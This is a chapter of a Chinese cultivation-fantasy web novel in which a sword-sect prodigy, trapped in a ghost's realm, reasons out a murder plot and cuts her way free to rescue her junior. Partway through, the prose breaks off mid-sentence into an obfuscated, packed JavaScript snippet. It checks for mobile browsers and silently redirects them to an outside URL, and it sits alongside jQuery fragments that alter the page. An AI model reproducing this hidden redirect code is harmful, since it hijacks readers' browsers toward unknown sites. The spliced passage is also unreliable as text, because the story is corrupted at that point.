修真界这一代天骄并起,六宗亲传天赋皆在伯仲之间,然剑宗云端月却似那中天皓月,清辉所至,群星暗淡。其天资之高,修炼之速,堪称惊世骇俗。
十三岁金丹初成,十七岁元婴已就,被誉为修真界百年难遇的奇才。甚至有人戏言,此女天赋之高,便是闲庭信步亦能顿悟天道,随手摘叶亦可破境飞升。
剑宗弟子都以她为榜样,魏春有也不例外。她成为亲传的第二年,扶桑真人笑问她,最崇拜的修士是谁。
她顶着师尊希冀的目光独自开朗道:“是大师姐!”
有这样一位无法超越的同龄人存在,同辈的亲传们无不被师长们耳提面命,众人追逐着云端月的脚步,甚至忍不住将其神化,都道她是天道的宠儿,生来便注定超凡脱俗。
可魏春有知道,师姐从未因天赋资质而自视甚高,偷闲惫懒,那第一头衔的背后,是常人难以想象的勤修苦练。不外出执行宗门任务时,师姐能每日雷打不动地修炼八个时辰。
扶桑真人随性,师姐便承担起教育和照顾她们的责任,分明没大她们几岁,却沉稳的不像话。
在她心中,师姐是全世界最好最好的人,她最喜欢师姐了。
“逆徒!”扶桑真人突然恶狠狠地掐着她双颊,“快说你最崇拜的人是为师!”
她挣扎逃出师尊的魔爪,余光瞥到云端月朝她们走来,当即如获救星般躲到大师姐身后:“呜呜呜师姐救我!”
时间模糊了太多细节,可那个将她护在身后的背影,仍在记忆里尤为清晰。
永远那样挺拔,永远令人安心。
恰如此刻。
阴风骤起,厉鬼化作一道猩红残影,枯瘦如爪的五指直取她心口,怨气凝如实质,裹挟着刺骨寒意扑面而来。
太快了……
魏春有踉跄后退,肩头的伤口渗出血迹,染红了半截衣袖。筑基期的灵力在元婴厉鬼的威压下几乎凝滞,她连抬剑格挡都做不到。
耳边传来三师兄破音的呼喊:“师妹!快躲开!”
她心里唾弃三师兄说得轻松,她倒是想躲啊!问题是她弱成这样怎么躲!
魏春有深觉寿数已至尽头,心下后悔,莫名想起她藏在洞府内的那本《霸道师尊爱上我,徒弟哪里逃》,她还没看到大结局呢!
时间仿佛被拉长,又似被压缩成短短一刹。
“铛——!”
一声清越剑鸣骤然划破死寂,决明剑寒光乍现,硬生生截住那几乎触及她心口的鬼爪。怨气与剑气相碰,激荡的气流掀起她的发丝。
魏春有怔然抬眸,映入眼帘的,是那道熟悉的青衣身影。
原来比死亡先到的,
是大师姐。
*
时间回溯至四人赶到客栈时。
郡阳县的后半夜,众人都已入睡,四周极静,云端月先行一步,她动作轻缓,推动客栈的门,竟也没关,咯吱声响起,她一脚悬空于门内,忽觉不对劲,立即便想退出来,却还是慢了一步。周身空气霍然扭曲,场景瞬息间转换。
四周屋舍全都消失不见,三小只也不见了踪影,周遭空旷无比一眼望不到尽头,抬头,星月不见,只剩黑压压看不真切的天空。
她正站在一片空地之中。
界?这是云端月第一个想法。
能让人一瞬之间从一个地方到另一个地方,不是传送符便是界。可传送符有距离限制,云端月不记得方圆十里内有这种地方存在。
界又分两种,空间和幻境。
幻境顾名思义,但瞧这周遭空空如也,若是幻境也太寒酸了些,除了空间她再想不出其他可能。云端月暂时没有从中感知到恶意,想来空间的主人只是想将她困在此方天地。
云萝?此念头一出,她又自顾自否决掉,云萝实力尚且无法修成界。能开启界的妖魔鬼,实力需得突破元婴才行。
想到那只被刘浩一直挂在嘴边的厉鬼,倘若他并非撒谎,而是真的有厉鬼存在呢?他十几年来凌虐致死的小厮至少有十数人,此番怨气聚集,厉鬼成。
甚至它从头到尾都在她们身边,只是因为小厮与刘县令之死皆是人为,它才能一直在她眼皮底下藏好怨气不被她发现。
云萝报案让刘浩的罪行有公之于众的风险,他虽害怕,但剑宗派来的四人太过年轻,让他起了轻慢之心,毕竟不把人命当回事的人大多自负自傲。
他不信四人能查出他这些年的恶劣行径,这才顺水推舟把一切都推说成厉鬼所为,如此不仅能将他从中摘出去,还能利用她们除掉府中厉鬼。
剑宗受理此次案件不过五日,云萝是看准刘县长身死的日子报了案,刘浩知晓后没逃走也并非因为县长头七未过,都能做出弑父行径的人,怎会在乎死后是否能给父亲守灵。
是因为厉鬼的出现,吓破了刘浩的胆子,教他躲在府中不敢出门,也是因为亲眼见过,他才如此笃定厉鬼的存在。
一番梳理,此次案件真正的时间线已然明了:
刘浩无意知晓县令的动摇,因此起了杀心;县长和小厮身死后,云萝报案引她们前来;厉鬼现身,使刘浩无法逃脱,直到她们到来接受此案。
甚至算准了她们从剑宗赶来的时间,恰好赶上县长头七,棺椁并未下葬,方便她们开棺验尸。
一环扣一环,若言巧合,云端月定不信,是有人编织了一张大网,将她们全算在网里,只是筹谋这一切的人,她已经知道是谁。
能让云萝心甘情愿为他办事的人,
只有刘宁。
让她在意的,是刘宁如何能让厉鬼配合他一起行事?
云端月蹲在地上以指尖画圆,这是她惯常思考的方式。静下心从她进门起开始细细回忆,有时候并非线索太隐秘,而是线索太表面,反倒教人下意识忽略。
第一次踏进刘宁寝阁时,她曾嗅到血腥味,后遇到云萝时,她同样嗅到了浅浅的血腥味。
就是血腥!
代表二人近期曾受过伤,刘府中人都是普通人,如何伤得到妖族,只能是厉鬼所为。
云端月想起她曾在剑宗藏书阁看过的一则案例。
“景元四年,殷氏长子杀十数人,受害者魂魄难安,怨气经久不散,终聚成厉鬼。
景元六年,厉鬼夺舍殷氏长孙,隐于众人。
景元八年,殷氏满门一夜间覆灭。”
修真界的鬼分有四种境界,但大多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823467|211142||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
数人不知道的是,若是再给四种境界细分,还分上下两层,下层为灰,黑,此类鬼魂没有思想无法沟通,受怨气影响只剩杀戮。
上层则是厉,青,此为跨境界鬼魂,已拥有一定的智慧,只是由于它们的力量源于怨气,仇人近在眼前还能保持理智的,从未有过。殷氏厉鬼能被记录在册,便是因为它是这第一例。
卷宗记录,它蛊惑殷氏长孙,经年累月,怨气潜移默化改变了他的思想,最终在一个午夜,长孙毒杀满门,事后涉案厉鬼逃之夭夭至今未被抓获。
或许……
或许是厉鬼夺舍了刘宁的身体。
所以他才会昏睡不醒,所以她如今才会被困在这个界中,所以刘县令必死无疑,因为无论他是否有放弃刘浩的想法,传到刘浩耳边,不是也会变成是,他性格本就暴躁易怒,受厉鬼怨气影响,更加重他杀戮的心。
所有的谜团豁然被解开,云端月对着虚空道出她所有的推断,声音在空旷的空地上回荡,无人应答,但她知道它听得到。
云端月抱着剑席地而坐,语气平缓,道:“我能感觉得到,你对我没有恶意,把我困在此地,是为了防止我阻碍你报仇吗?”
“我不会,刘浩的罪行我已经全知晓,我向你保证,他一定会受到他应有的惩罚,我会从头跟进案件审理,不给他们官官相护的可能。他死后亦会接着赎罪,星月台会将他困于无间地狱至少承受百年毒燎虐焰之痛。”
“你已成厉鬼,但仍有机会,我带你去梵音寺,那儿的佛修会为你们超度,许你们转世。为了这么两个人渣,断了自己的轮回路,何至于此呢……”
她絮絮叨叨,良久,寂静无声的天地忽地刮起呼啸的风,发出阵阵呜鸣。
云端月伸手探了探,感受这股狂风的重量。半晌,风止,声平,仿佛方才的狂啸是一场错觉,只余掌心湿润。
忽然,空地之上平白飘下一页暗黄的纸张,她弯腰拾起,纸上字迹工整娟秀,想是执笔人用心练过的。
“当您看到这封信,想必仙长已了解了事件始末,感谢您来到这座宅院,也很抱歉,欺骗了您,只是,我已没有任何办法。恳请您,令真相大白,予亡魂安息,还母亲自由。若有来世,衔草结环,刘宁绝笔。”
云端月讶然,刘宁?
怎么会是他?她本以为厉鬼已夺舍他的身体,可他居然还存留着自我意识。她想不明白,再如何对着虚空询问都得不到答案,好像只是短暂出现片刻,如今又迅速消失了。
恰在此时,她倏地感到一阵心悸,一股强烈的不安刹那涌上心头。
云端月捂着心口,一定是文殊她们出事了!
将信纸收好后站起身,强压下心慌,她定了定神,一手握着剑鞘,一手握住剑柄。决明感受到主人的意图,剧烈摆动起来。
云端月轻声道:“冒犯了。”
她周身灵力骤然爆发,灵剑出鞘,银光闪过,剑身倒映出她凌厉的眉眼。手中的剑像是与她合为一体,速度极快,只见残影,她朝虚空中横斩了一剑。
无尽黑暗传来一声碎裂声,一瞬,此界破裂,向四周散去。月光洒进来,照着她与灵剑。
只一剑,定乾坤。